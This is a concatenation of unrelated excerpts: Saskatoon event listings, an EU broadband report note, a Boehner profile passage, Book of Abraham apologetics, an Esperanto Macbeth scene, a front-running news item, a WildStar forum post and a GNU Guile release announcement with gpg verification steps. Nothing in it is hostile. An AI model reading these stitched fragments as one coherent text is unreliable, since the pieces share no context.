2015 Location: SaskTel Centre All Time Low Date: September 23, 2015 Location: O'Brians Event Centre Sage Francis with guests Date: September 24, 2015 Location: Amigos Coleman Hell with DCF Date: September 24, 2015 Location: O'Brians Event Centre Fast Romantics with guests Date: September 24, 2015 Location: Capitol Music Club Hag Face with Haunted Souls, Man Meat Date: September 24, 2015 Location: Vangelis Hollywood Undead Date: September 25, 2015 Location: O'Brians Event Centre CFCR FM-Phasis Fest Date: September 25 - 26, 2015 Location: Amigos David Fond Date: September 25, 2015 Location: The Bassment Zachary Lucky Date: September 25, 2015 Location: The Bassment Hayden with Evening Hymns and Taylor Knox Date: September 25, 2015 Location: Capitol Music Club Hot Club of Saskatoon and Styles Montreaux Date: September 26, 2015 Location: The Bassment Chad VanGaalen with guests Date: September 26, 2015 Location: Capitol Music Club Black Metal Bingo Date: September 26, 2015 Location: Louis' Saskatoon Symphony Presents New World Symphony Date: September 26, 2015 Location: TCU Place Apathy & Celph with Merkules Date: September 27, 2015 Location: O'Brians Event Centre Die Mannequin with Fake Shark Date: September 28, 2015 Location: Capitol Music Club Brantley Gilbert Date: September 28, 2015 Location: O'Brians Event Centre Evil Ebenezer with Factor Chandelier, Kay the Aquanaut, Cquel with Chief Beats Date: September 29, 2015 Location: Amigos Ron Sexsmith Date: September 29, 2015 Location: Broadway Theatre Harpdog Brown & Little Victor Date: September 30, 2015 Location: The Bassment Sporting Events Saskatoon Blades vs Prince Albert Raiders Date: September 25, 2015 Location: SaskTel Centre Edmonton Oilers vs Minnesota Wild Date: September 26, 2015 Location: SaskTel Centre Family Fun Pumpkin Festival Date: September 19 - 20, 2015 Location: Tierra del Sol Kids on the Block Puppet Show Date: September 24, 2015 Location: Children's Discovery Museum Pumpkin Festival Date: September 26 - 27, 2015 Location: Tierra del Sol Kinsmen Free Day Date: September 27, 2015 Location: Children's Discovery Museum Performance, Dance & Theatre Home for Boys Date: September 1, 2015 Location: Refinery Arts & Spirit Centre The Comic Strippers Date: September 12, 2015 Location: Broadway Theatre Richard II Date: September 16 - 20, 2015 Location: Emmanuel Church Vanya and Sonia and Masha and Spike Date: September 16 - October 4, 2015 Location: Persephone Theatre The Menagerie Date: September 17 - 18, 2015 Location: Refinery Arts & Spirit Centre Norm Macdonald Date: September 18, 2015 Location: Broadway Theatre Works in Progress New Dance Series Date: September 19, 2015 Location: Free Flow Dance Centre G I R L S N I G H T Date: September 22, 2015 Location: TCU Place Richard II Date: September 23- 27, 2015 Location: Emmanuel Church Kavita Krishnamurthy Date: September 27, 2015 Location: Broadway Theatre |
The Phase 1 report was completed independently of Internet Service Providers (ISPs), however ISPs are invited to participate in Phase 2 and should contact ec@samknows.com for more information. Results were taken in March 2012 from a panel of 9,104 participants. A total of 3,065,341,850 measurements were taken across 75,978,173 unique tests. Useful links Report / Study Digital Agenda Scoreboard Digital Agenda Neelie Kroes Follow Neelie on Twitter Contacts : Ryan Heath (+32 2 296 17 16), Twitter: @RyanHeathEU Linda Cain (+32 2 299 90 19) Annex Some countries do not appear in the charts either because the technology is not available or the number of data points is insufficient to plot comparable results. Figures and graphics available in PDF and WORD PROCESSED Figures and graphics available in PDF and WORD PROCESSED Figures and graphics available in PDF and WORD PROCESSED |
He became a Republican, and in 1984 he won a seat in the Ohio legislature, representing the prosperous white-collar district north of Cincinnati where he and Debbie then lived. His political formation was influenced by a man named Pete Dobrozsi, the lobbyist for Armco Steel at the time, who took Boehner under his wing. Armco, the biggest employer in Boehner’s district, was feeling squeezed by foreign competition and by federal regulation, and Dobrozsi sensed in Boehner a sympathetic soul. “He was a guy who was young, energetic, and really committed to the issues,” Dobrozsi recalled recently. When I asked him to elaborate, he said, “John’s interest was ‘I’m paying too much taxes, and the government’s intruding too much on my business.’ ” |
However, the problem is that their conclusions were based on faulty methods. Assumptions were made, but most never realized that they had made assumptions, and thus the assumptions were never tested. Let’s look at a couple of the problematic assumptions. The first is presuming that we know what Joseph Smith meant when he used the word “translate.” Historically, he used this word to mean a number of different things. When Joseph Smith spoke of translating, he sometimes meant he was translating from one ancient language to another, like he did with the Book of Mormon. However, he could use the term differently, such as with the Joseph Smith Translation of the Bible. In this case, his “translation” consisted of looking at an English text and giving us a text that was not present in the first text at all but rather came as pure revelation. Another time, Joseph used the word “translate” to describe a process different from either of those just discussed. This came when he gave a translation from the Parchment of John, as presented in Doctrine and Covenants Section 7. In this case, the “translation” was from a text he never actually saw except in a vision. At least part of what that text said was revealed to him though he never had the actual manuscript. Given the evidence we currently have, we cannot tell what Joseph Smith meant when he said he was “translating” the Book of Abraham. All we know is that he translated by the power of God. Typically, we assume that when he said he was translating from the papyri that he was looking at a text that was on papyrus in one language and giving us that same text in English. We do have decent evidence that he was translating this way from papyrus, but at the same time, some evidence points to his receiving revelation in a manner more similar to the Joseph Smith Translation of the Bible, meaning he may have been looking at the papyrus and receiving revelation regarding something that was not at all present on that document. It may even have been a mixture of the two. At this point, we cannot tell, and even as we use the evidence we have, any conclusions we draw are only assumptions, even if they are evidence-based assumptions. |
Ha! Glamiso mi, kaj grafo de Kordoro: Venonta tamen estas la plej granda. (Al Rosso kaj Anguso.) Por via ĝentileco korajn dankojn. Ĉu vi ne preĝas, ke infanoj viaj (Al Bankvo.) Regnestroj estu, kiam tiuj, kiuj Min nomis grafo de Kordor', promesis, Ke ili seĝon honorindan havos? BANKVO. Se vi al tiu diro volus fidi, Vi povus kredi eĉ, ke la reĝeco Al vi, Kordoro, estas atingebla. Mirinde tamen estas, ĉar tre ofte Por malbonigi la animojn niajn L' inferaj potenculoj veron diras, Kaj en aferoj bonaj niajn korojn Per malgrandaĵoj gajnas, faligontaj Nin poste en aliaj, kiuj traktas Esperojn niajn pri ĉiela vivo, Por pereigi nin. (Al Rosso kaj Anguso.) Kun vi parolon, kuzoj. MAKBETO. (Flanken.) Du veraĵoj Diritaj estas, kvazaŭ la prologoj Al la majesta akto, kiu faros La prezentadon de la reĝa temo. (Al Rosso kaj Anguso.) Mi dankas vin. (Flanken.) Ĉi tiu instigado Supernatura certe povas esti Nek bona, nek malbona;—la rezonoj Ĝin pruvas.—Se malbona, kial certan Ĝi faris jam promeson pri sukceso?— Mi estas grafo de Kordor';—se bona, Kial al sugestio cedi, kies Fantaziaĵ' terura rigidigas Hararon mian, kaj la koron igas Batadi nenature, malgraŭ ĝia Fikseco, kontraŭ miaj ripoj? Timo Estanta ŝajnas malpli konfuziga, Ol la imago pri estonta faro: L' ideo teruriga pri mortigo Animon mian tiel forte skuas, Ke la agado restas nur pensado, Kaj nur la estonteco sin prezentas Al la spirito mia. BANKVO. Ho kunuloj, Rigardu kiel nia kamarado Distrita estas. MAKBETO. (Flanken.) Se la sorto faros Min reĝo, sorto sen agado mia Min ankaŭ kronu. BANKVO. Vidu, li surmetas Honorojn novajn, kiel novajn vestojn, Al kiuj ni bezonas ĉiam tempon, Por kutimiĝi al ilia uzo. MAKBETO. (Flanken.) Okazu kio ajn, per homa forto Venkebla estas ĉio, krom la morto. BANKVO. Makbeto inda, ni deziron vian Atendas. MAKBETO. Mi pardonon vian petas, Sinjoroj, forgesaĵojn rememori Penante. Via daŭra afableco Sur mia koro, kvazaŭ sur registro, (Al Bankvo.) Skribita restas.—Iru ni al reĝo.— Pripensu la okazintaĵon; juste Ni, elkonsiderinte la aferon, Pri ĝi parolu kune nekaŝeme. BANKVO. Plezure. MAKBETO. (Al Bankvo.) Do sufiĉe. (Al ĉiuj.) Ni foriru. Ĉiuj foriras. |
"In our experience, front-running is a concern not limited to just FPIs but extends to even banks and brokerage houses. Today, financial institutions want to manage this risk proactively and have approached us to apply data analytics to identify ‘red flags’ and in many instances, we have used big data or forensic analytics to check if there have been spikes in particular small trades before the FPI, bank or brokerage house buys or sells shares,” said KV Karthik, Partner - Forensic, Financial Advisory, Deloitte India.FPIs, banks and brokerage houses have been roping in forensic investigators from Grant Thornton, Deloitte, EY, PwC and KPMG in last couple of months, say industry trackers. Basic rules such as not using cell phones inside the trading room, disclosing investments, and only using company phones have been in place for a while, but some employees found a way around them, say investigators. Apart from using big data tools, investigators are also scrutinising the family details of the employees. |
It's still technically possible to use it by flipping your camera 180 and jumping towards the target then teleporting back ontop of it, but i'm fairly certain this is not the intended use and it's a very clumsy way of trying to interupt a telegraph or CC a player. Using it when facing towards your target will only allow you to knockdown something that is actually running towards you. If this was intentional, and Carbine wanted the skill to be more of a movement orientated escape ability that could dodge telegraphs and was focused towards tanking Stalker, then I guess that's cool and I kind of like the idea of the tank getting an ability like that, but if that is the primary use then the SP cost and cooldown are way off. I can't justify the cost for a backwards dodge and return, with SP now being relevant and the ability losing some of its functionality then I can't see the reason for it to be that expensive. If it's meant to be more of a dodge, how about adding a significant delay before the Stalker can jump back, returning the original range, and dropping the cost and cooldown significantly? It was obvious to everyone that the disarm was going to be changed in some way, as that utility was ridiculous, but with the changes to FR as well I do feel like we might be lacking a little in the control department. I also think the costs of CC abilities make less sense now that we've changed the way Stalker damage is dealt and reduced the damage of utility skills in general. |
We are pleased to announce GNU Guile release 1.9.13. This may be the last pre-release before the 2.0 release. It provides many new noteworthy features, most notably the addition of a compiler and virtual machine. We encourage you to test them and provide feedback to address@hidden'. The Guile web page is located at http://gnu.org/software/guile/, and among other things, it contains a link to the Guile FAQ and pointers to the mailing lists. Guile is an implementation of the Scheme programming language, with support for many SRFIs, packaged for use in a wide variety of environments. In addition to implementing the R5RS Scheme standard and a large subset of R6RS, Guile includes a module system, full access to POSIX system calls, networking support, multiple threads, dynamic linking, a foreign function call interface, and powerful string processing. Guile can run interactively, as a script interpreter, and as a Scheme compiler to VM bytecode. It is also packaged as a library so that applications can easily incorporate a complete Scheme interpreter/VM. An application can use Guile as an extension language, a clean and powerful configuration language, or as multi-purpose "glue" to connect primitives provided by the application. It is easy to call Scheme code From C code and vice versa. Applications can add new functions, data types, control structures, and even syntax to Guile, to create a domain-specific language tailored to the task at hand. Here are the compressed sources: ftp://alpha.gnu.org/gnu/guile/guile-1.9.13.tar.gz (5.1MB) Here are the GPG detached signatures[*]: ftp://alpha.gnu.org/gnu/guile/guile-1.9.13.tar.gz.sig To reduce load on the main server, use a mirror listed at: http://www.gnu.org/order/ftp.html Here are the MD5 and SHA1 checksums: ac10b460d006fd1b7a95286d14f6d4cf guile-1.9.13.tar.gz e8067a26aa2d01a856c0cd5bc73e7e8b4fa6429a guile-1.9.13.tar.gz [*] You can use either of the above signature files to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this: gpg --verify guile-1.9.13.tar.gz.sig If that command fails because you don't have the required public key, then run this command to import it: gpg --keyserver keys.gnupg.net --recv-keys EA52ECF4 and rerun the `gpg --verify' command. This release was bootstrapped with the following tools: Autoconf 2.68 Automake 1.11.1 Libtool 2.2.6b Gnulib v0.0-4219-g84cdd8b This is a new release series with many new features and differences compared to 1.8. The complete list of changes compared to the 1.8.x series is available in the `NEWS' file. |
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